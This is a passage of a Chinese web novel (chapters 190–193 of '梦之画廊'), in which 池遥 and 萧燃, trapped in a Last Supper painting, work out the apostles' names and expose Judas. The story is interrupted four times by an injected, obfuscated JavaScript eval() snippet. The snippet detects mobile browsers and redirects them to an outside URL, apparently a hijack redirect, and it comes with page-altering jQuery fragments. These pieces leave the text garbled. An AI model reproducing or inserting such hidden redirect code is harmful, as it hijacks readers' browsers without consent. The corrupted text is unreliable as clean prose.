长桌十分狭窄,只够摆放桌边落座的食客的餐盘,此时,长桌上的每一个餐盘中都盛着一碗造型别致的土豆泥。 看清了所在的环境,池遥并未转头,脸正对着面前的餐盘,余光悄悄向身边探去。 然而,映入视线的,却是一个熟悉的人影。 在她右侧,坐着一个相当熟悉的人,池遥观察着对方的眼睛,很快分辨出了他的身份。 几个小时前,萧俨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335375|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和殷蘅打斗时,这个人还拦在自己面前,而此时却姿态从容地拿着餐刀餐叉,动作优雅却迅速地吃着餐盘里的土豆泥。 不会吧? 萧燃也在? 画中世界不是单人景点? 池遥坐在座位上低下头,双手学着萧燃的模样握紧刀叉,吃了一口温热顺滑的土豆泥。 脑中则回忆起了凌薇的话。 的确,凌薇只说了他们会进入到画中世界,却没有提及画中世界究竟是个人景点还是团体景点。 而池遥也只是因为自己经历的第一个画中世界是自己独自破除的,就习惯性以为画中世界是个人景点了。 那么,眼前的情况只能是,她误打误撞来到了萧燃所在的画中世界。 池遥一边思考,一边机械地往嘴里送土豆泥。 她动作不快,只是为了融入环境,并且看到身边的萧燃吃了,才慢吞吞地吃起了土豆泥,没想到,刚吃了三分之一,就听到“铮”一声。 长桌另一端,有人吃完了餐盘里的土豆泥,放下了刀叉。 池遥余光注意到,萧燃进食的速度稍微加快了一些。 她收回目光,也加速吃起了餐盘里的食物,然而,土豆泥还剩一半,耳边又接连传来几声放下刀叉的声音。 萧燃吃得更快了。 这下,池遥无暇思考,只能遵照着身边人的动作,大口吃下盘中的土豆泥。 周围陆续传来金属制刀叉接触餐桌的声音。 与此同时,埋头进食的池遥只觉得脊背传来一阵冷风。 长桌上已经完成光盘的其他人,此时正定定地注视着她和身边的萧燃二人。 目光动也不动,活像盯着猎物的饿狼。 很快,萧燃也放下了刀叉。 顿时,所有人统一看向餐桌最边上的池遥。 池遥绷紧身体,大口吃完最后几口,放下刀叉,见她面前的盘子空了,其他人才齐齐收回视线。 一碗土豆泥并不算多,只是空口咽下去,嗓子眼仿佛都被黏住了似的,桌上又没有杯子,池遥只能保持着礼貌的表情,拼命吞咽,好半天,喉咙里的干涩感才缓解了一些。 所有人都放下刀叉后,还残留着酱汁和食物碎屑的餐盘再次变得焕然一新,池遥前倾身体,侧头看向萧俨右侧的其他人,见他们都神色自如。 而萧俨明显察觉到了池遥的到来,但当池遥将目光投到他身上时,他只动作轻微地冲池遥摇了摇脑袋。 池遥点点头,收回视线。 她在心中默数人数,这张长桌上算上她和萧俨,共坐着十三个人。 坐在长桌正中心的人应该是这群人的领袖,他占据的面积明显比其他人更大。 而领袖为中心,他左右手边各有六人,而池遥和萧燃就是坐在他左手边最远处的两人。 无人开口,一片寂静中,所有人的视线都落在了坐在正中间的男人身上。 他眉宇紧蹙,神色忧郁而悲悯。 “各位。” 他轻轻叹了口气,明澈的目光扫过长桌上的每一位食客。 “实话告诉大家,你们十二个人中,有一个人要出卖我了。” 190. 梦之画廊5 好熟悉的话。 池遥微微蹙眉。 这句话,她似乎在某幅画的说明中看到过。 一边想着,她一边瞥向身边的萧燃,对方也是一脸若有所思的表情。 一个小时时间很难记住很多事物,即便她在左侧展厅内待了足足四十多分钟,只在中间的展厅看了十几分钟,但由于时间更近,并且中间展厅的画作大部分会附上大篇幅的背景故事注解,她对中间展厅的画作更熟悉一些。 如果这是一幅有剧情的画作,那么很有可能是中间展厅内的画。 想到这里,池遥再度看向萧燃。 一小时的展出时间开始时,萧俨和萧燃最先进入了中间展厅,萧燃对于这间展厅的画作应当比她更熟悉一些。 她一边分神想着展厅画作的事,一边等待着长桌中心的男人的后话。 没想到,说完第一句话,长桌上陷入了长时间的沉默。 “我不希求背叛者主动站出来。” 过了很久,男人才重新开口。 “只是告知各位这个消息。” 仿佛是一个开关,当他说完这句话时,围在男人周围的食客终于开口,热烈地交谈起来。 一片嘈杂中,萧燃终于转过身,与池遥对视。 “你怎么会来这里?” “你怎么在这儿?” 两人同时开口,谁也没听清对方的话,面面相觑,一时间谁也不开口。 “你......” “你......” 声音再度重合。 池遥抬手捂住自己的嘴,手动禁言,又指了指萧燃,示意对方先说。 “你为什么会来这里?画中世界可以同时容纳两个人吗?” 萧燃蹙起眉问她。 “我通过了上一个世界,就到这里了。” 池遥观察着对方的神色,当自己说完前半句时,萧燃神色毫无变化,他大概也已经通过了至少一个画中世界。 的确,隐瞒杀手身份的是萧俨。 但作为萧俨的双胞胎弟弟,萧燃同样是一名杀手,萧俨曾说他的能力不强,但这也只是拿萧俨本人作为参照,萧燃的能力只会比她更强大。 比她更快速地通过了画中世界也是正常的。 而且梦之画廊景点并不包含竞争性,虽然满五人开放景点,但同处于景点内的五人不构成竞争关系,她大概......不需要特别防备萧燃这个人吧。 想到这里,池遥又在心中松了口气。 幸好与她在画中世界相遇的不是萧俨,现在她真的对萧俨产生了一定的畏惧感,短时间内不是很想见到他。 至于萧燃,二人交集不多,关系比较陌生,尽管他也是没有感情的杀手,但相处起来至少不尴尬。 “看来梦之画廊并没有特别规定一定要单人通关。” 萧燃点点头,与池遥在景点内独处时,他的话多了不少。 “我比你提早一个小时来到这里,既然你能和我进入同一个画中世界,证明每个画中世界有合作破除的可能性。我们现在所在的画中世界比较复杂,你认真听我说。” 池遥点点头,目光与对面的青年相撞,却见萧燃先偏开了视线,神色有些复杂。 怎么是对方躲避她的视线? “咳。”萧燃少有地露出有些窘迫的神情,抬手遮挡在嘴唇前,指尖抵着下唇,轻咳了一声。 “我知道你和萧俨有......矛盾,但现在他不在,我和他虽然立场一致,但是也是不同的两个个体,这里只有你和我两人,你不需要考虑萧俨的事情。” 池遥点点头,将萧燃的话放进心底反复过筛几次,明白了他的意思。 萧燃的话说得转了好几个弯,实际上只是想让池遥不要因为萧俨的事而迁怒他。 此时再看萧俨萧燃两兄弟,萧俨看起来开朗健谈,实际上却无法感知到感情,犹如一具听话的杀人机器。 而萧燃给人以冷漠的第一印象,虽然和萧俨一样,患有情感障碍,但似乎比萧俨更通人性,更像是个鲜活的人。 “这条长桌算上我们一共有十三人,我们所在的空间大约是一间圣堂,总之是个宗教场所。我们所处的画中世界,大概是一幅和宗教神话有关的画作。” 池遥一边点头,一边在心中猜测。 萧燃对画作的推测已经十分详细,但却迟迟没有说是哪一幅画。 究竟是他不愿说,还是真的不知道? “首先,进入这里后,你会看到所有人都在埋头进食,如果你没有跟随其他人一起吃餐盘里的食物,其他人会齐齐注视你。” “如果你吃得速度太慢,其他人吃完后你没有吃完,同样会收获其他人的视线,只有当你吃掉餐盘内的全部食物,其他人才会移开目光。” “只有所有人都吃完东西,才会进入下一阶段。第二个阶段大概二十分钟,坐在中间的人会率先发言,然后所有人自由讨论。” “每隔半小时,会重复一次我刚才说的流程。现在的讨论阶段是我经历的第三轮了。” 池遥听完萧燃的话,微微蹙起眉。 “所以,刚刚的土豆泥是......” “是我吃的第三轮。” 萧燃的手一直遮挡在嘴唇前。 “第一轮是沙拉,第二轮是不知道什么肉的肉排。” “不知道下一轮会端上来什么食物,如果和前三次的量相差不多的话,我最多只能再吃三轮了,我们得在三轮时间以内找出解决办法。” 在进入梦之画廊时,池遥刚醒不久,什么也没吃,刚吃下的土豆泥并不算多,她估算了一下,自己进入这个画中世界的时间比萧燃更晚,如果萧燃最多能吃六轮的话,她应该也能坚持六轮。 可是,如果真的吃不下盘中的食物,会发生什么呢? 想必不会是什么好结果,还是尽量不要让这种事情发生了。 “对了,还有一件事。” 萧燃似乎想到了什么,再次开口。 “每一轮开始前,都有一位食客向中间的人介绍自己的名字。顺序是从右到左,一会儿应该轮到右数第四个人了,我们应该会是最后两个,这个暂时不需要考虑,我们不可能坚持吃到第十一轮和十二轮。” 池遥拖着身下的椅子后撤一步,遥望着其他人的背影,从最右侧的人一直数到第四人,又按顺序数到萧燃和自己。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17346249|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的确,距离她和萧燃自报姓名还有很长时间。 “我已经记下来前三个人的名字了。” “第一位叫做巴多罗买,第二位是亚勒腓之子小雅各,第三位叫安德烈。” 萧燃将他记下的名字依次告诉池遥。 听完几个名字的池遥一头雾水。 这都是谁? 这几个名字从萧燃口中吐露出来,似乎的确有几分熟悉。 可是,自己到底是在什么地方见过这几个名字的呢? 长桌,吃饭的人。 最中间的人与两侧的人群似乎有一道明显的分界线,因此,即便身处热闹的宴会之中,他仍旧显得有几分寂寥。 池遥向前探头,视线越过层层人影,落在了最中间的人身上。 也有可能不是寂寥,得知此处用餐的人中有一个人要出卖自己,无论什么人都会感到悲伤和愤怒吧? 只不过,最中间的人神色却很平静,柔和的光落在他面庞之上,投下一片阴影,反而显得庄严肃穆。 如果这是一幅画,自己在观赏画作时第一眼会看向什么地方? 是周围那十二个用餐的人? 不,被簇拥在长桌中心,又与其他人分隔出一部分距离的男人一定是画作的中心。如果她是观赏者,一定会第一时间看向画作最中心的人。 他就是整幅画的中心人物。 隔着重重人影,池遥努力看清他的面容。 观察他的时候,也在观察男人身边最近的几人。 除了池遥以外,其他人偶尔与男人说话时都会主动垂下视线,低眉顺眼,不直视对方,以示尊重。 因此,最中间的男人地位一定是最高的。 她逐渐看清了对方的面容。 他有一头柔软的长发,五官线条柔和而悲悯,同样垂着眼,神态温良而慈悲。 她似乎知道这是哪幅画了。 意识到远处的人肆无忌惮的打量目光,男人扭头朝池遥看去,他的目光同样柔和,没有攻击性。 这是个圣人般的角色。 池遥收回视线,专心回忆在中间展厅内见过的画作。 然而,没过一会儿,突然传来一阵铃声。 这串铃声响起后,餐桌上交头接耳的人同时噤声,齐齐低头看向面前的餐盘。 空荡荡的餐盘内,已经出现了新一道菜肴。 看到盘中的食物,池遥在心中松了一口气。 盘中是一碗纯白色,质地浓稠,似乎添加了奶油制成的汤品。瓷碗面积偏大,但容量很浅,碗底突出的边缘与盘子内部的凹陷严丝合缝嵌在一起。 想到萧燃的话,她刚想抬手去拿餐盘上的碗,又侧头看了看周围的人。 其他人只盯着面前的碗,迟迟没有动作。 突然,右数第四个人站了起来。 此人肤色偏深,蓄着浓密的胡须,一手撑着桌面,另一手垂在身侧,似乎攥着什么,神色显得有几分慌乱。 “我是您的门徒,犹大。” 说完这句话,那人立刻落座,只剩下池遥带着惊愕的神色,直直盯着那个人不放。 听到这个名字,淡忘的记忆全部回笼。 191. 梦之画廊6 ——进入画中世界前五分钟。 左侧展厅更符合常规印象中的“画廊”二字,以一条镶嵌着众多画作的长廊组成,沿着一条路走到头就算参观结束。 而中间的展厅则不同,此处与博物馆,纪念馆的展厅相似,是一个小房间连接着一个小房间的设计,每个房间里摆放着不到十幅作品,看不出后面还有几个房间,根本无法估测进度与所需时间。 池遥已经争分夺秒看了中心展厅两个小房间内的画作,同时兼顾时间和信息量对她来说过于困难,她抬头望了一眼前方的小房间,又扭头看了一眼上一个房间的出口。 时间所剩不多,她决定把剩余的时间全部集中在下一个房间。 然而,下一个房间内,只有一幅画。 准确来说,是一面绘着壁画的墙壁。 墙壁前摆放着纸质介绍,是一本小册子,翻开后,里面密密麻麻的文字让池遥神经发涨。 五分钟时间,她用尽了期末考试临时抱佛脚的劲头,才把小册子里的内容全部读完。 —— 而此时,坐在长桌前的池遥一个激灵。 她全想起来了。 这是她进入画中世界前观察的最后一幅画,方才一直在回忆挂在画廊里的作品,差点忘了还有壁画。 既然是中间展厅的作品,甚至还是壁画,她不相信萧燃会对这幅画没有印象。 喝完盘中的汤品,又到了下一轮讨论时间,池遥立刻询问萧燃这个问题。 “已经到第四轮了,你还没想起来我们所在的是哪幅画吗?” 听了她的话,萧燃垂下眼,叹了口气。 “我的确知道是哪幅画,中央展厅的壁画不多。” “只是......我记得这幅画的说明非常长,当时我刚进入展厅不久,一个小时的时间,我不可能花费十分钟看完那些注解,所以直接去了下一个房间。” 池遥听明白了,萧燃没有主动翻阅那本小册子。 因此,即便他知道这是中央展厅的壁画,也没有主动说出口,因为这个信息对他而言派不上用场。 想到这里,池遥叹了口气,不再和萧燃计较这件事。 池遥虽然看完了小册子里介绍的全部内容,可当时时间紧急,现在还有印象的部分不多了。 “我看完了。” 她将自己还记得的部分告诉萧燃。 “这是一个宗教主题的壁画。内容是一个宗教故事。圣人有十二位门徒,也就是现在在座的这十二个人。其中叫犹大的那位门徒,也就是这一轮开始前做自我介绍的那个人,暗中出卖了圣人。因此,在圣人与门徒们共进晚餐的时候,圣人将此事告诉了所有人。就像第三轮用餐结束时他说的那样。” “同样的话,我在第一轮也听到过一遍,但第二轮和现在的第四轮都没有说过这句话。是因为你进入了画中世界,所以再告知你一次吗?” 萧燃看向池遥。 池遥:“也有可能他只有单数轮次说,双数轮次不说?” 萧燃明显不赞同:“那还是我的猜想更可靠一点。” 二人交谈着,池遥忍不住将椅子朝萧燃的方向挪动一点,身下的椅子腿摩擦地面,发出刺耳的噪音。 萧燃的身体却突然僵住了。 “你为什么可以挪动椅子?”他问。 池遥一愣:“啊?” “我刚进入这里的时候,连身体都动不了。第一轮的时候,只能活动上半身......” 听了萧燃的话,池遥忍不住在椅子上又动了动,并没有被束缚的感觉。 “可能是随着轮次变多,束缚越来越少了。” 她一边说,一边试探性地从椅子上站起身来。 没想到,很轻松就站了起来。 紧接着,她又想朝一旁迈步,可惜,这一次感受到了明显的阻碍感,一旦有想抬脚的前置动作,脚就仿佛灌铅般沉重,根本动不了。 “能站起来,但是不能走动。” 她又尝试在原地张开手,做出几个动作,也没有任何阻碍感。 不仅如此,她一个大活人,陡然站起身,还张开双臂不停挥舞,其他门徒却仿佛看不到她的动作,仍旧自顾自做着自己的事。 唯有最中心的圣人侧头看了过来,柔和的视线在她和萧燃身上打了个转,就再次收了回去。 池遥注意到了圣人的目光,见他神色没有任何波动,就知道自己的行为并不出格。 不能走动的确是个很大的阻碍,不过有没有其他方式弥补这一点呢? 池遥又坐下来。 紧接着,双手扶着身下的椅面,朝着身后挪了几下,移动了一步远的距离。 只是自己没办法脱离身下的椅子行动,但如果是带着椅子一起动的话,还是有办法行动的,就是效率不高。 萧燃沉默地看着池遥的行动,他立刻明白了池遥的用意,只不过没有效仿的意愿。 在如此庄严肃穆的场合,难道他和池遥二人要勤勤恳恳拖着身下的椅子,像两只缺了好几条腿的显眼包大螃蟹,艰难地把整个室内探索一圈吗? 他不想丢脸。 而池遥则朝着萧燃的反方向挪动,很快,就围着桌子,挪动到了长桌的侧面。 在这个位置,她终于能看清楚除她之外的所有人了。 眼下,她还想不到如何破除这个画中世界。 圣人说过,他得知十二门徒中有人出卖他,想必他一定知道出卖自己的人究竟是谁,那么难道破除画中世界的办法是揭露犹大背叛者的身份吗? 可是,圣人也说过,他只是告知消息,似乎没有其他的打算。 难道是要搞清楚自己的身份,等到第十二轮,自己和萧燃成功报出自己的名字才算成功? 可是,她和萧燃的胃不是无底洞,不可能坚持到第十二轮。 那么,要怎么办? 一大堆杂乱的问题中,唯有一条线变得清晰。 要找到她和萧燃的真实身份。 要弄清楚坐在他们的位置上的门徒,自己所扮演的门徒,究竟是谁。 萧燃没看过壁画的说明,因此,此时的画中世界看似是团体作战,实际上还是她一个人的独立景点,所有疑惑都要靠她独立解决。 萧燃大概只能提供一定的武力支持。 “我有一个想法。”池遥将自己的想法告诉萧燃。 “已经是第四轮了,但我们还不知道破除这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17349572|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 世界的方法。我现在唯一想到的突破口是自己的身份,每轮开始前不是会有门徒自报姓名吗?我们恐怕得找到画中坐在我们位置上的门徒的身份。” “我明白了。”萧燃点头,“可是,怎么找?” 是啊,怎么找? 池遥不说话了。 “我们可以和长桌上的其他门徒谈话吗?” 萧燃一边念叨这句话,一边扭过身体,看着他另一侧,背对着他与其他门徒聊得火热的人。 他抬起手,试探地想去碰对方的肩膀,却碰了个空。 在他的手掌触碰到对方的瞬间,手掌一瞬间变得透明,从对方的后背穿了过去。 “能听到我说话吗?” 他又开口,尽可能放大音量,吸引对方的注意力。 没有任何反应。 池遥垂下视线。 看来,作为外来者的他们是无法与其他门徒交流的。 这群人恐怕只有用餐时会注意到自己吧? 其他办法都没有作用,剩下的唯一办法恐怕还是要她自己回忆起来。 池遥深吸一口气,目光聚焦于一点,仔细回想。 小册子里的内容太长了,她隐约记得,内容中的确提及了壁画中每一位门徒的姓名,她甚至能记得在第几页。 可是,这些人名太杂乱,太冗长,塞在边边角角里,她当时只是瞥了一眼就过去了。 除了左数第四位是犹大以外,根本记不住更多内容。 因为壁画的视角与坐在长桌上的她视角相反,在她的视角中,犹大坐在右数第四位,这并不重要。 该如何激活自己的记忆呢? 池遥看向一旁的萧燃,突然产生了一个大胆的想法。 “萧燃,你的能力是什么?” 她问出了一个与此时的环境无关的问题。 “我的能力很弱,是降低自身存在感。能力生效后,其他人仍旧能看到我,但不会把注意力放在我身上,和我分开后,无关人员会很快忘记我的外貌特点。”萧燃没有藏私,主动回答。 若是普通人得到这个能力,恐怕的确无用。 但萧燃的身份是一个杀手,这样的能力对他而言反而很方便。 “我的能力是可以吸收别人的生命力来治疗。” 池遥简单地告诉了萧燃自己的能力,伸出手,紧紧握住对方的手。 “一会儿,我可能要抽取你的一些生命力,你会感到疲惫和虚弱,可以吗?” “没关系。”萧燃回答得很果断。 池遥点点头,闭上了眼。 这一次,她努力凝聚精神,几次试探,终于释放出一缕精神力细丝。 使用精神力会大幅度消耗自己的精力,她本不欲使用,况且现在刚进入画中世界几个小时,自己不该在此时使用。 可除了精神力,她想不到其他办法。 比发丝更加纤细的透明丝线在半空中探出个头,紧接着,在池遥的控制之下,一个猛回弹,猛地探入池遥的额头之中。 池遥还记得,在上一个世界,自己通过精神力细丝,看到了霍云初的回忆。 那么,可不可以通过这种办法,在自己的回忆中找到十二门徒的内容? 192. 梦之画廊7 精神力进入大脑的瞬间,脑部神经猛地震颤一下,剧痛撕扯着池遥的意识。 她不由地攥紧了身边人的手,脸色一瞬间变得煞白。 萧燃在一旁注视着她。 池遥对自己能力的描述过分简洁,但萧俨曾经告诉过萧燃池遥的能力。 这只与他相连的手,随时都有抽干他生命力的能力。 池遥的手越来越冷,身体痛苦地弯折起来,很快,连手上的力道都轻了几分,他很轻松就能挣脱掉。 然而,萧燃却始终没有放开手。 池遥将自己的全部注意力都集中在脑中的精神力细丝上。 对于一条脆弱的丝线而言,随时随地都在增加的记忆宛如一条汹涌奔腾的长河,而丝线的作用则是探入冰冷的河水中,翻找那么一滴细微的记忆。 无数记忆画面从眼前闪过,仿佛有成千上万个屏幕同时播放不同的记忆画面,耳边是无数道声音重合在一起,已经无从分辨的巨大噪音。 头痛欲裂。 池遥强行维持着清醒的意识,逼迫自己注意每一个记忆片段的细节。 混乱的记忆中,她几乎失去了所有对外部世界的感知能力。 连对时间的认知都逐渐扭曲。 不知过了多久。 她终于搜寻到了最微小,最准确的一小段记忆。 只剩下虚影的细丝慢慢探进记忆当中。 萧燃坐在一旁,静静等待池遥醒来。 突然之间,池遥的手狠狠用力,掌心与他的掌心紧贴在一起。 她的掌心冰冷极了,紧贴的肌肤传来渗人的寒意,萧燃只觉得这股寒意顺着手掌一路蔓延,顺着血管侵入手臂,半个身体都被冻结住。 身体仅存的热度被飞速掠夺,顺着手掌流淌进入池遥手中。眼前的景物开始朦胧不清,他疲乏地眨了眨眼,努力支撑着愈发沉重的身体。 突然,身体一轻。 恢复意识的池遥主动放开了他的手。 明明已经汲取了萧燃的少量生命力,但池遥的脸色仍然一片煞白,嘴唇也毫无血色,额头上全是极度痛苦的冷汗。 “你还好吗?” 二人同时开口,又同时噤声。 “我已经想起来画中所有人的名字了。” 池遥把双臂搭在桌上,整个人无力地趴在桌上,侧过脸,将重新记在脑海中的所有门徒名字依次告诉了他。 “这些门徒似乎意识不到我们的存在,也无法沟通。但是坐在最中间的圣人似乎能意识到我们的存在,我之前和他对上视线了。” “这一轮是来不及了,下一轮我们的活动范围应该还会再扩大,可以和圣人沟通试试。” 说完,池遥就将脸埋进了臂弯里。 使用精神力的损耗实在太大了,更何况还是施加在自己身上,简直身心俱疲。 收回精神力已经过了几分钟,她脑中的痛感和耳膜的撕裂感仍未消散。 萧燃其实很想说点什么,但看到池遥的样子,就不再开口。 不久后,第五轮开始了。 耳边的杂音久久不曾消散,乱成一团,池遥根本听不到左数第五个人说了什么。 很快,身边人齐齐拿起刀叉开始新一轮进餐,池遥有气无力地支撑起身体,看向面前的餐盘。 这一次,餐盘中是用红木树枝串起来的两大串很有分量的烤肉块。 将肉块从树枝上卸下来后,堆了满满一大盘。 两轮进餐下来,池遥虽然每一餐都全部吃完,但刚刚使用精神力又消耗了不少,看到烤得焦香,流淌着汁水的烤肉,竟然产生了饥饿感,立刻打起精神拼命补充能量。 而另一边的萧燃,进食速度明显慢了下来。 第一个人放下刀叉后,池遥也跟着放下了刀叉,才侧头看向身边的萧燃。 萧燃盘中的烤肉还剩一半。 他进食速度不慢,姿态很从容,看起来似乎不成问题。 池遥又仔细观察一会儿,直到萧燃被她盯得受不了,一只手放在桌下冲她摇了摇,示意自己没事,才收回了目光。 新一轮进餐结束,萧燃虽然是最后一个吃完的,但时间没有拖太久,所幸没有造成任何问题。 很快,所有人面前的餐盘再度被清空。 “各位。” 最中间的圣人再次开口,内容与池遥第一次听到的完全相同。 “实话告诉大家,你们十二个人中,有一个人要出卖我了。” 说完这句话,他顿了顿,似乎想开口说什么,但最终也没开口,只是将目光远远地投向了池遥和萧燃所在的位置,仿佛在等待什么。 很快,周围的门徒再次自顾自讨论起来。 而池遥则从原地站起身,左右挪动了一下步子。 这一次,终于可以迈开步伐了,只不过活动范围有限,只能在长桌附近活动。 “你没事吧?还能坚持吗?” 她问一旁的萧燃。 “最多只能坚持一轮。”萧燃仍旧没什么表情,但语气似乎有几分无可奈何,“我已经很饱了,有什么我能做的尽管吩咐,我也想快点离开这里。” 池遥点点头,这一轮的餐品量简直是之前的二倍,照这个情况下去,她最多也只能坚持两轮。 注意到新一轮的活动范围再次扩大,萧燃也站起身,再次尝试去拍身边的门徒的肩膀,结果仍是失败。 “是不是需要叫对方的名字呢?” 池遥在旁边提醒。 听了她的话,萧燃主动开口,放大音量,叫出了对方的名字。 仍旧没有任何反应。 看来这一轮他们仍旧无法和门徒沟通。 那么,圣人呢? 池遥看向坐在长桌中心的人。 讨论结束后,他的目光就一直看向池遥的方向,从未移开过,似乎在等待她主动开口。 池遥和萧燃二人一起来到了圣人身侧。 神奇的是,即便他们来到了圣人身旁,围绕着圣人的门徒仍旧没有发现他们两人的存在。 “......主,我是您的门徒,奋锐党的西门。” 池遥在称呼上犹豫了半天,最终选择了一个在现代社会中从未使用过的称呼,主动报出自己位置上门徒的姓名,开口问道。 “您口中那位即将出卖您的人,是犹大吗?” 听到池遥的话,圣人并不意外,柔和的目光在池遥和萧燃身上停顿了一会儿,才回答道。 “两位都是我的门徒,无需使用那么正式的称 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353964|177659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼,叫我老师,或者导师就好。” “背叛者的事......看来你们已经知道答案了。” “是的,犹大的手中攥着一个巴掌大的钱袋。”萧燃开口,注意到自己没自报姓名,“老师,我是您的门徒达太。” 在池遥告诉他此人是背叛者后,萧燃也一直在暗中观察对方。 见二人都报出了正确姓名,圣人的目光带着赞许,从两人脸上划过。 “老师,我们要怎么揭露他呢?” 池遥试探着继续问道。 她不清楚圣人的态度,但圣人的目的似乎并不是要揭露背叛者的罪行。 “不需要,若他执意如此,我不会干涉。” 对方语气委婉地拒绝了池遥的话,微微扭头,看向了犹大的方向。 池遥随着他的目光看去,犹大坐在座位上,一条胳膊放在桌前,手掌攥拳,露出一小片钱袋的布料。 他一直在有意掩藏手中的东西。 圣人拒绝了池遥揭露犹大的建议,但此时,池遥盯着犹大的身影,目光定在他手中的钱袋上。 圣人说得对,她的确不需要向门徒们揭露犹大,就算她直接说出犹大是即将出卖圣人的背叛者,其他□□因为她率先出言指认而信任她吗? 她只需要说出无法被改变的事实就好。 但是,其他门徒听不到她的话,无法与她交流,她要怎么让自己的话能被所有门徒听到呢? “老师,据我所知,每一轮进餐开始前,都会有一位门徒自报姓名,赞颂您的美德。” 思考片刻,她开口道。 “按照既定顺序,下一位本该轮到您身边的约翰进言,可我实在不愿被排到最后一位,如果您不介意的话,下一轮开始前可以让我来赞颂您吗?” 听了她的话,圣人神色停滞了一瞬,很快就点了点头。 他同意了。 看来,只要在下一轮开始前,抢先起身报出自己和萧燃的名字,并且说出自己所知道的事实,引导其他门徒发现犹大的真实身份,就能破除这个画中世界了。 如果运气好的话,在下一轮进餐前就可以通关,萧燃也能轻松一些。 这么想着,池遥和萧燃从圣人身边离开,回座位的路上有意想听听其他门徒的谈话内容,可惜,根本听不清楚。 很快,铃声再度响起。 所有门徒回到座位前坐好,面前的餐盘上摆放了一块巨大的肋排,池遥余光瞥见萧燃蹙起了眉头。 是时候了。 不等第六人起身,池遥率先站起来,大声开口。 “尊敬的老师,我是您的门徒西门,我身边的这位是您的门徒达太。” 她将萧燃的名字一并报出,目光瞥向长桌上的其他门徒。 听到她的话,其他门徒纷纷朝她的方向看来,这一次,他们终于注意到了池遥这个人。 “感谢您教导我们祷告。顺便说一句,我似乎看到犹大的手中有一个钱袋,想必是心怀仁爱的犹大要主动为晚餐添加菜品。我想他的心一定是好的,只是您曾亲身教导过我们五饼二鱼的寓意,我不赞同他无度挥霍的行为。” 顿时,所有门徒齐齐看向犹大。 而犹大攥紧了手掌中的钱袋,神色惊惧不已。 193. 梦之画廊8 有圣人的告诫在前,池遥的话说得十分委婉。 但是,只要看到犹大的神色,就知道真相并非池遥口中说得那么简单。 这下,所有门徒应该意识到犹大才是真正的背叛者了吧? 池遥坐在座位上,等待了一会儿,却见到窃窃私语的门徒们再次坐直,低头用餐。 失策了,画中世界并未破除。 池遥转头瞥了一眼身边眉头紧蹙,正在拆肋排的萧燃,扭过头,一边啃肋排,一边在脑中思索。 她已经委婉地揭露了犹大的身份,看来破除画中世界的关键并不在此。 她也向其他门徒表明了自己和萧燃的身份,难不成还有其他要素被自己落下了吗? 百思不得其解。 分到每一个人餐盘中的肋排有细微差别,池遥盘中的肋排骨头部分占据了三分之二,很容易就能吃完。 但萧俨盘中肋排骨头零碎而分散,肉的分量占比极大。 他一只手遮挡在唇边,池遥只能看到他明显不适的表情,以及喉咙处随着吞咽的动作跟着滚动的喉结。 池遥没办法帮上他的忙,只能默默祈祷他能尽快吃完,并且放慢自己的进食速度,让萧燃不至于承担所有门徒的目光。 很快,整张餐桌上只剩下他们两个没有吃完。 其他门徒的目光像刀子一样落在身上,随着时间流逝,愈发犀利而危险,压迫感越来越重。 如果吃不完餐盘中的食物真的会面临惩罚,那么这些门徒的等待应该是有限度的。 池遥的餐盘中只剩下了一根光洁的骨头,和最后一块被切下留在盘中的肉块。 池遥可以放慢进食速度,帮萧燃分担压力,但不可能陪着萧燃受罚。 一旦周围的门徒表现出攻击性,她就立刻吃掉最后一块肉。 时间一点一滴流逝,门徒们的表情逐渐开始狰狞起来。 再等待十秒钟。 池遥在心中倒数。 十秒钟一到,她立刻吃掉最后一口,放下刀叉。 失去了池遥这个目标,所有人的目光齐齐汇聚到萧燃身上。 一秒......两秒...... 池遥在心中默数。 在她数到第三十秒时,萧燃终于放下了刀叉,一只手紧紧捂住嘴,眉头中间挤出深深的沟壑。 